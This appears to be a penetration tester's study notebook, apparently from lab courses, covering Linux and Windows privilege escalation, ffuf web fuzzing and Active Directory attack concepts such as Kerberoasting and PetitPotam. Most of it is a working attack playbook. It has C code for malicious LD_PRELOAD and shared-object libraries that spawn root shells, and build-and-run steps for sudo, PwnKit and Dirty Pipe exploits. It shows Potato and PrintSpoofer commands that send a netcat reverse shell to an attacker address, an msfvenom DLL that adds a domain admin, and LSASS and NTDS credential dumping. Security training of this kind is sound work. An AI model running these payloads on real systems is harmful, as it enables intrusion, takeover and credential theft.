```shell-session
ps aux | grep tmux
```

Confirm permissions:

```shell-session
ls -la /shareds
```

Review group membership:

```shell-session
id
```

Attach to the session:

```shell-session
tmux -S /shareds
```

#### LD\_PRELOAD

Check sudo privileges:

```shell-session
sudo -l
```

Malicious library ([LD\_PRELOAD](https://web.archive.org/web/20231214050750/https://blog.fpmurphy.com/2012/09/all-about-ld_preload.html)):

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```

Compile:

```shell-session
gcc -fPIC -shared -o root.so root.c -nostartfiles
```

Escalate:

```shell-session
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
```

#### Shared Object Hijacking

Print shared objects with [ldd](https://manpages.ubuntu.com/manpages/bionic/man1/ldd.1.html):

```shell-session
ldd payroll
```

Inspect `RUNPATH` with [readelf](https://man7.org/linux/man-pages/man1/readelf.1.html):

```shell-session
readelf -d payroll  | grep PATH
```

Find the function name:

```shell-session
ldd payroll
```

```shell-session
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
```

```shell-session
./payroll
```

> *\[Screenshot: Pasted image 20260207014935.png]*

Compile a shared object with the missing function:

```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
} 
```

Compile it:

```shell-session
gcc src.c -fPIC -shared -o /development/libshared.so
```

Execute the binary:

```shell-session
./payroll
```

#### Recent 0-Days

```shell-session
sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'
```

CVE-2021-3156 ([Proof-Of-Concept](https://github.com/blasty/CVE-2021-3156)):

```shell-session
cry0l1t3@nix02:~$ git clone https://github.com/blasty/CVE-2021-3156.git
cry0l1t3@nix02:~$ cd CVE-2021-3156
cry0l1t3@nix02:~$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
```

List affected OS versions:

```shell-session
./sudo-hax-me-a-sandwich
```

CVE-2019-14287 (sudo < 1.8.28):

```shell-session
sudo -u#-1 id
```

Polkit — actions (`/usr/share/polkit-1/actions`) and rules (`/usr/share/polkit-1/rules.d`):

```shell-session
cry0l1t3@nix02:~$ # pkexec -u <user> <command>
cry0l1t3@nix02:~$ pkexec -u root id
```

Pwnkit ([CVE-2021-4034](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034)), [PoC](https://github.com/arthepsy/CVE-2021-4034):

```shell-session
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc
```

Dirty Pipe ([CVE-2022-0847](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847)), kernels 5.8–5.17, [PoC](https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits):

```shell-session
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh
```

exploit-1 modifies `/etc/passwd`:

```shell-session
uname -r
```

```shell-session
./exploit-1
```

exploit-2 runs SUID binaries as root — find them first:

```shell-session
find / -perm -4000 2>/dev/null
```

```shell-session
./exploit-2 /usr/bin/sudo
```

***

### Windows Privilege Escalation

Useful Tools:

| Tool                                                                                                     | Description                                                                                                                                                                                                                                  |
| -------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [Seatbelt](https://github.com/GhostPack/Seatbelt)                                                        | C# project for local privilege escalation checks                                                                                                                                                                                             |
| [winPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) | Searches for privilege escalation paths ([checks explained](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html))                                                                                  |
| [PowerUp](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1)      | PowerShell script for common Windows priv-esc misconfigurations                                                                                                                                                                              |
| [SharpUp](https://github.com/GhostPack/SharpUp)                                                          | C# version of PowerUp                                                                                                                                                                                                                        |
| [JAWS](https://github.com/411Hall/JAWS)                                                                  | PowerShell 2.0 priv-esc enumeration                                                                                                                                                                                                          |
| [SessionGopher](https://github.com/Arvanaghi/SessionGopher)                                              | Finds and decrypts saved session info (PuTTY, WinSCP, RDP, etc.)                                                                                                                                                                             |
| [Watson](https://github.com/rasta-mouse/Watson)                                                          | .NET tool to enumerate missing KBs and suggest exploits                                                                                                                                                                                      |
| [LaZagne](https://github.com/AlessandroZ/LaZagne)                                                        | Retrieves passwords stored on a local machine                                                                                                                                                                                                |
| [WES-NG](https://github.com/bitsadmin/wesng)                                                             | Based on `systeminfo` output; lists vulnerabilities and exploits                                                                                                                                                                             |
| [Sysinternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)         | [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk), [PipeList](https://docs.microsoft.com/en-us/sysinternals/downloads/pipelist), [PsService](https://docs.microsoft.com/en-us/sysinternals/downloads/psservice) |

Pre-compiled binaries of Seatbelt & SharpUp: <https://github.com/r3motecontrol/Ghostpack-CompiledBinaries> · LaZagne releases: <https://github.com/AlessandroZ/LaZagne/releases/>

Interface(s), IP Address(es), DNS Information:

```cmd-session
ipconfig /all
```

arp table:

```cmd-session
arp -a
```

Routing table:

```cmd-session
route print
```

Check Windows Defender Status:

```powershell-session
Get-MpComputerStatus
```

List AppLocker Rules:

```powershell-session
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

Test AppLocker Policy:

```powershell-session
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
```

Running processes ([tasklist](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist)):

```cmd-session
tasklist /svc
```

Standard processes to know: [smss.exe](https://en.wikipedia.org/wiki/Session_Manager_Subsystem), [csrss.exe](https://en.wikipedia.org/wiki/Client/Server_Runtime_Subsystem), [winlogon.exe](https://en.wikipedia.org/wiki/Winlogon), [LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service), [svchost.exe](https://en.wikipedia.org/wiki/Svchost.exe).

Environment variables:

```cmd-session
set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\Administrator\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=WINLPE-SRV01
ComSpec=C:\Windows\system32\cmd.exe
HOMEDRIVE=C:
HOMEPATH=\Users\Administrator
LOCALAPPDATA=C:\Users\Administrator\AppData\Local
LOGONSERVER=\\WINLPE-SRV01
NUMBER_OF_PROCESSORS=6
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 23 Model 49 Stepping 0, AuthenticAMD
PROCESSOR_LEVEL=23
PROCESSOR_REVISION=3100
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\ADMINI~1\AppData\Local\Temp\1
TMP=C:\Users\ADMINI~1\AppData\Local\Temp\1
USERDOMAIN=WINLPE-SRV01
USERDOMAIN_ROAMINGPROFILE=WINLPE-SRV01
USERNAME=Administrator
USERPROFILE=C:\Users\Administrator
windir=C:\Windows 
```

systeminfo (patch level, VM detection — Google KBs under [HotFixes](https://www.catalog.update.microsoft.com/Search.aspx?q=hotfix)):

```cmd-session
systeminfo
```

Query hotfixes with WMI ([QFE](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-quickfixengineering)):

```cmd-session
wmic qfe
```

With PowerShell ([Get-Hotfix](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-hotfix?view=powershell-7.1)):

```powershell-session
Get-HotFix | ft -AutoSize
```

Installed software via WMI:

```cmd-session
wmic product get name
```

With PowerShell ([Get-WmiObject](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1)):

```powershell-session
Get-WmiObject -Class Win32_Product |  select Name, Version
```

Active connections ([netstat](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/netstat)):

```cmd-session
netstat -ano
```

Logged-In Users:

```cmd-session
query user
```

Current user:

```cmd-session
echo %USERNAME%
```

Current User Privileges:

```cmd-session
whoami /priv
```

Current User Group Information:

```cmd-session
whoami /groups
```

Get All Users:

```cmd-session
net user
```

Get all groups:

```cmd-session
net localgroup
```

Details About a Group:

```cmd-session
net localgroup administrators
```

Get Password Policy & Account Information:

```cmd-session
net accounts
```

Cheat sheet: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>

PowerShell script combining processes with listening ports:

```powershell
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'} | ForEach-Object { 
    $svc = (Get-WmiObject Win32_Service -Filter "ProcessId = $($_.OwningProcess)" | Select-Object -First 1).Name;
    "$($_.LocalAddress):$($_.LocalPort) - PID: $($_.OwningProcess) - Service: $(if($svc){$svc}else{'N/A'})" 
}
```

#### Named Pipes

Enumerate named pipes with [PipeList](https://docs.microsoft.com/en-us/sysinternals/downloads/pipelist):

```cmd-session
pipelist.exe /accepteula
```

With PowerShell:

```powershell-session
gci \\.\pipe\
```

Enumerate permissions with [Accesschk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk):

```cmd-session
accesschk.exe /accepteula \\.\Pipe\lsass -v
```

[WindscribeService Named Pipe Privilege Escalation](https://www.exploit-db.com/exploits/48021):

```cmd-session
accesschk.exe -accepteula -w \pipe\WindscribeService -v
```

#### Windows Groups & Privileges

Privileged groups: Default Administrators, Server Operators, Backup Operators, Print Operators, Hyper-V Administrators, Account Operators, Remote Desktop Users, Remote Management Users, Group Policy Creator Owners, Schema Admins, DNS Admins. See [privileged accounts and groups in AD](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory).

Notable [User Rights Assignments](https://4sysops.com/archives/user-rights-assignment-in-windows-server-2016/): `SeNetworkLogonRight`, `SeRemoteInteractiveLogonRight`, `SeBackupPrivilege`, `SeSecurityPrivilege`, `SeTakeOwnershipPrivilege`, `SeDebugPrivilege`, `SeImpersonatePrivilege`, `SeLoadDriverPrivilege`, `SeRestorePrivilege`, `SeTcbPrivilege`.

Scripts to enable privileges: [Enable-Privilege.ps1](https://www.powershellgallery.com/packages/PoshPrivilege/0.3.0.0/Content/Scripts%5CEnable-Privilege.ps1) · [adjusting token privileges](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). Detection: [event 4672](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672); see [this post](https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e). Token impersonation [paper](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt).

#### SeImpersonate / SeAssignPrimaryToken (Potato Attacks)

Connect to MSSQL with [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py):

```shell-session
mssqlclient.py sql_dev@10.129.43.30 -windows-auth
```

Enable `xp_cmdshell`:

```shell-session
enable_xp_cmdshell
```

```shell-session
xp_cmdshell whoami
```

```shell-session
xp_cmdshell whoami /priv
```

Escalate with `JuicyPotato.exe` + `nc.exe` (start a listener on 8443):

```shell-session
xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
```

JuicyPotato doesn't work on Windows Server 2019 / Windows 10 build 1809+; use [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) or [RoguePotato](https://github.com/antonioCoco/RoguePotato). See [this blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/).

Escalating Privileges using PrintSpoofer:

```shell-session
xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
```

#### SeDebugPrivilege

Dump LSASS with [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump):

```cmd-session
procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

Note: type "log" in Mimikatz first to save output to a .txt file.

```cmd-session
mimikatz.exe
log
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```

Leverage SeDebugPrivilege for [RCE](https://decoder.cloud/2018/02/02/getting-system/); also [this tool](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC).

#### SeTakeOwnershipPrivilege

Enable the privilege with [this script](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1):

```powershell-session
Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1
whoami /priv
```

Gather info about the target file:

```powershell-session
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
```

Checking File Ownership:

```powershell-session
cmd /c dir /q 'C:\Department Shares\Private\IT'
```

Change ownership with [takeown](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown):

```powershell-session
takeown /f 'C:\Department Shares\Private\IT\cred.txt'
```

Confirm ownership:

```powershell-session
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
```

Modify the file ACL with `icacls`:

```powershell-session
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
```

#### Backup Operators

Membership grants `SeBackup` and `SeRestore`. Use [this PoC](https://github.com/giuliano108/SeBackupPrivilege):

```powershell-session
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
```

```powershell-session
Get-SeBackupPrivilege
```

Enable if disabled:

```powershell-session
Set-SeBackupPrivilege
```

Copy a Protected File:

```powershell-session
Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt
```

Attacking a Domain Controller — Copying NTDS.dit using [diskshadow](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow):

```
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
exit
```

Copying NTDS.dit Locally:

```powershell-session
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```

Backing up SAM and SYSTEM Registry Hives:

```cmd-session
reg save HKLM\SYSTEM SYSTEM.SAV
```

```cmd-session
reg save HKLM\SAM SAM.SAV
```

Extracting Credentials from NTDS.dit (DSInternals):

```
Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
```

Extracting Hashes Using SecretsDump:

```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```

Copying Files with Robocopy:

```cmd-session
robocopy /B E:\Windows\NTDS .\ntds ntds.dit
```

#### Event Log Readers

Study: <https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html>. Confirming Group Membership:

```cmd-session
net localgroup "Event Log Readers"
```

Query Windows events with [wevtutil](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil):

```powershell-session
wevtutil qe Security /rd:true /f:text | Select-String "/user"
```

Specify alternate credentials:

```cmd-session
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"
```

Searching Security Logs Using Get-WinEvent:

```powershell-session
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
```

#### DnsAdmins

<https://adsecurity.org/?p=4064> — abuse `ServerLevelPluginDll` to load a custom DLL when DNS runs on a DC.

Generating Malicious DLL:

```shell-session
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
```

Downloading File to Target:

```powershell-session
wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"
```

Loading DLL as Member of DnsAdmins:

```powershell-session
Get-ADGroupMember -Identity DnsAdmins
```

Loading Custom DLL:

```cmd-session
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
```

Finding User's SID:

```cmd-session
wmic useraccount where name="netadm" get sid
```

Check permissions on the service:

```cmd-session
sc.exe sdshow DNS
```

Stop and start the service:

```cmd-session
sc stop dns
```

```cmd-session
sc start dns
```

```cmd-session
net group "Domain Admins" /dom
```

Cleaning Up — Confirming Registry Key Added:

```cmd-session
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
```

> *\[Screenshot: Pasted image 20260211213230.png]*

Remove the key:

```cmd-session
reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll
```

Starting the DNS Service Again:

```cmd-session
sc.exe start dns
```

```cmd-session
sc query dns
```

Using Mimilib.dll — <http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html> ([mimilib](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib), [kdns.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c)).

Creating a WPAD Record — Disabling the Global Query Block List:

```powershell-session
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
```

Adding a WPAD Record:

```powershell-session
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3
```

#### Hyper-V Administrators

Virtualization admins should be considered Domain Admins where virtual DCs exist.

***

### Attacking Web Applications with Ffuf

<https://github.com/ffuf/ffuf>

Directory Fuzzing:

```shell-session
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ
```

```shell-session
ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt:FUZZ -u http://94.237.57.211:37047/FUZZ
```

Extension Fuzzing:

```shell-session
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/blog/indexFUZZ
```

Page Fuzzing:

```shell-session
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php
```

Recursive Scanning:

```shell-session
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v
```

Sub-domain Fuzzing:

```shell-session
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://FUZZ.inlanefreight.com/
```

VHosts Fuzzing — a VHost is served on the same server/IP; may or may not have public DNS records:

```shell-session
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb'
```

Filtering Results:

```shell-session
ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs 900
```

GET Request Fuzzing:

```shell-session
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx
```

Parameter Fuzzing - POST:

```shell-session
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
```

Curl the content of a page with a POST request:

```bash
curl URL -X POST -d 'id=73' -H 'Content-Type: application/x-www-form-urlencoded'
```

Create a wordlist of IDs 1–1000:

```shell-session
for i in $(seq 1 1000); do echo $i >> ids.txt; done
```

Value Fuzzing:

```shell-session
ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
```

***

## Part 2 — Science & Theory

### What is a FIFO (Named Pipe)?

* FIFO = **First In, First Out**.
* A **named pipe** is a special kind of file that lives in the filesystem but doesn't store data on disk.
* Instead, it's a communication channel between two processes.

Think of it like a tube: one process **writes** into the pipe, another process **reads** from it. The data flows through, but isn't stored permanently.

**How to Create and Use** — create one with `mkfifo /tmp/f`. Check it with `ls -l /tmp/f` — the `p` at the start (`prw-r--r--`) means it's a pipe. Example: in Terminal 1 run `cat /tmp/f` (read from the pipe); in Terminal 2 run `echo "Hello" > /tmp/f` (write into the pipe). "Hello" appears in Terminal 1 immediately.

***

### Staged vs. Stageless Payloads

`Staged` payloads send over more components of the attack — "setting the stage". For example `linux/x86/shell/reverse_tcp` sends a small `stage` that executes on the target and then calls back to the attack box to download the remainder of the payload over the network, then executes the shellcode to establish a reverse shell. A stage takes up memory, leaving less space for the payload.

`Stageless` payloads do not have a stage. For example `linux/zarch/meterpreter_reverse_tcp` is sent in its entirety across a network connection without a stage. This benefits low-bandwidth/high-latency environments, and can be better for evasion due to less traffic passing over the network.

Identifying them by name: `linux/x86/shell/reverse_tcp` is staged — each `/` represents a stage (`/shell/` is a stage, `/reverse_tcp` is another). A stageless payload looks pressed together, e.g. `linux/zarch/meterpreter_reverse_tcp`. Similarly, `windows/meterpreter/reverse_tcp` is `Staged` while `windows/meterpreter_reverse_tcp` is `Stageless`. The description will often state whether the payload is staged or stageless. See [Rapid7's blog on stageless Meterpreter payloads](https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/).

***

### Keytab Files

A **keytab** (key table) is a file that stores **Kerberos principals and their encrypted keys (passwords)**. It allows a Linux system or service to **authenticate to Active Directory (or a Kerberos realm) without needing a human to type a password**. The keys inside are encrypted, so the actual password is not stored in plain text.

**Why used** — to allow non-interactive logins (services, daemons, cron jobs), to join Linux to AD securely, and to let Linux services authenticate against AD using Kerberos without storing raw passwords.

**Typical Keytab Locations** — `/etc/krb5.keytab` (default system keytab, used by the host itself); `/etc/security/keytabs/` (sometimes services keep their own keytab here).

***

### ccache Files (and .kirbi / .keytab)

In a Kerberos environment, once you authenticate, Kerberos issues a **TGT (Ticket Granting Ticket)** and possibly service tickets. These are stored locally in a **credential cache** file — a **ccache file** — a container that holds your Kerberos tickets after login.

**Why used** — so you don't need to re-enter your password every time you access a service (SMB share, SSH, etc.). The system reuses the tickets from the ccache until they expire — the Kerberos equivalent of a "session cookie."

**Where stored** — by default `/tmp/krb5cc_<UID>` (e.g. `/tmp/krb5cc_1000`). Override with `KRB5CCNAME=/path/to/custom_cache`.

**View ccache contents** with `klist`:

```
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: user@EXAMPLE.COM
Valid starting     Expires            Service principal
09/02/25 10:00:00  09/02/25 20:00:00  krbtgt/EXAMPLE.COM@EXAMPLE.COM
```

**How ccache is created** — run `kinit user@EXAMPLE.COM` and type your password; Kerberos authenticates and stores the TGT. Or authenticate with a keytab: `kinit -k -t /etc/krb5.keytab host/linux01.example.com@EXAMPLE.COM`.

**Key difference (ccache vs keytab)** — a **keytab** is a long-term credential store (like a service's password); a **ccache** holds short-term session tickets (like a logged-in user's Kerberos session).

**File format summary:**

* **`.kirbi`** → Windows-format Kerberos ticket (exported with tools like Mimikatz).
* **`.ccache`** → Linux-format Kerberos credential cache (holds active tickets for a session).
* **`.keytab`** → File with long-term Kerberos keys (derived from a password) used for non-interactive logins.

***

### psexec.py & wmiexec.py

**Psexec.py** is a clone of the Sysinternals psexec. The tool creates a remote service by uploading a randomly-named executable to the `ADMIN$` share on the target, registers the service via `RPC` and the `Windows Service Control Manager`, and communicates over a named pipe — providing an interactive remote shell as `SYSTEM`.

**Wmiexec.py** uses a semi-interactive shell where commands are executed through [WMI](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page). It does not drop files/executables on the target and generates fewer logs. It runs as the local admin user you connected with (stealthier than SYSTEM executing many commands), but would still likely be caught by modern AV/EDR.

***

### Kerberoasting (Overview, Attack, Efficacy)

#### Overview

Kerberoasting is a lateral movement / privilege escalation technique in AD that targets [Service Principal Names (SPN)](https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names) accounts. SPNs map a service instance to a service account. Any domain user can request a Kerberos ticket for any service account in the same domain (and across forest trusts if authentication is permitted). All you need is an account's cleartext password (or NTLM hash), a shell as a domain user, or SYSTEM access on a domain-joined host.

Service accounts are often local admins or highly-privileged domain accounts, and are frequently added to privileged groups. The TGS-REP ticket is encrypted with the service account's NTLM hash, so the cleartext password can potentially be obtained via an offline brute-force attack (e.g. Hashcat). Service accounts often have weak/reused passwords. Even a low-priv cracked account lets you craft service tickets for the SPN's service (e.g. `MSSQL/SRV01` → access the MSSQL service as sysadmin, enable `xp_cmdshell`, gain code execution). See Tim Medin's [Derbycon 2014 talk](https://youtu.be/PUyhlN-E5MU).

#### Performing the Attack

This attack can be performed from: a non-domain joined Linux host using valid credentials; a domain-joined Linux host as root (via keytab); a domain-joined Windows host as a domain user; a domain-joined Windows host with a shell in a domain account's context; as SYSTEM on a domain-joined Windows host; or a non-domain joined Windows host using [runas](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525\(v=ws.11\)) /netonly.

Tools: Impacket's [GetUserSPNs.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py); setspn.exe + PowerShell + Mimikatz; PowerView, [Rubeus](https://github.com/GhostPack/Rubeus). The TGS ticket must still be `cracked` offline (TGS tickets take longer to crack than NTLM hashes).

#### Efficacy of the Attack

The presence of SPNs does not guarantee access. You might crack a TGS and get Domain Admin, or crack tickets that give no additional access, or fail to crack any ticket. Report the finding regardless: high-risk when it gains access; medium-risk when strong passwords prevented cracking (make the client aware of the SPN risk while noting the mitigating control).

***

### Why ACEs Are Important

Attackers use ACE (Access Control Entry) entries to further access or establish persistence. They can't be detected by vulnerability scanners and often go unchecked for years. ACL abuse can achieve lateral/vertical movement and full domain compromise. Example object security permissions (enumerable and abusable with BloodHound and PowerView):

* `ForceChangePassword` abused with `Set-DomainUserPassword`
* `Add Members` abused with `Add-DomainGroupMember`
* `GenericAll` abused with `Set-DomainUserPassword` or `Add-DomainGroupMember`
* `GenericWrite` abused with `Set-DomainObject`
* `WriteOwner` abused with `Set-DomainObjectOwner`
* `WriteDACL` abused with `Add-DomainObjectACL`
* `AllExtendedRights` abused with `Set-DomainUserPassword` or `Add-DomainGroupMember`
* `AddSelf` abused with `Add-DomainGroupMember`

> *\[Screenshot: Pasted image 20251001231825.png]*

***

### PetitPotam (MS-EFSRPC)

PetitPotam ([CVE-2021-36942](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942)) is an LSA spoofing vulnerability patched in August 2021. It allows an unauthenticated attacker to coerce a Domain Controller to authenticate against another host using NTLM over port 445 via the [LSARPC](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc) by abusing [MS-EFSRPC](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31). Where [AD CS](https://docs.microsoft.com/en-us/learn/modules/implement-manage-active-directory-certificate-services/2-explore-fundamentals-of-pki-ad-cs) is in use, the coerced DC authentication is relayed to the CA's Web Enrollment page to make a CSR for a new certificate. That certificate is used with `Rubeus` or `gettgtpkinit.py` from [PKINITtools](https://github.com/dirkjanm/PKINITtools) to request a TGT for the DC, leading to domain compromise via DCSync.

The Privileged Attribute Certificate (PAC) is an extension to Kerberos service tickets containing information about the authenticating user and their privileges. See <https://blog.netwrix.com/2023/01/10/what-is-the-kerberos-pac/>.

***

### Domain Trusts Overview

A [trust](https://social.technet.microsoft.com/wiki/contents/articles/50969.active-directory-forest-trust-attention-points.aspx) establishes forest-forest or domain-domain authentication, allowing users to access resources in another domain. Types:

* `Parent-child`: Two or more domains in the same forest. Two-way transitive trust (e.g. `corp.inlanefreight.local` ↔ `inlanefreight.local`).
* `Cross-link`: A trust between child domains to speed up authentication.
* `External`: A non-transitive trust between two separate domains in separate forests. Uses [SID filtering](https://www.serverbrain.org/active-directory-2008/sid-history-and-sid-filtering.html).
* `Tree-root`: A two-way transitive trust between a forest root domain and a new tree root domain.
* `Forest`: A transitive trust between two forest root domains.
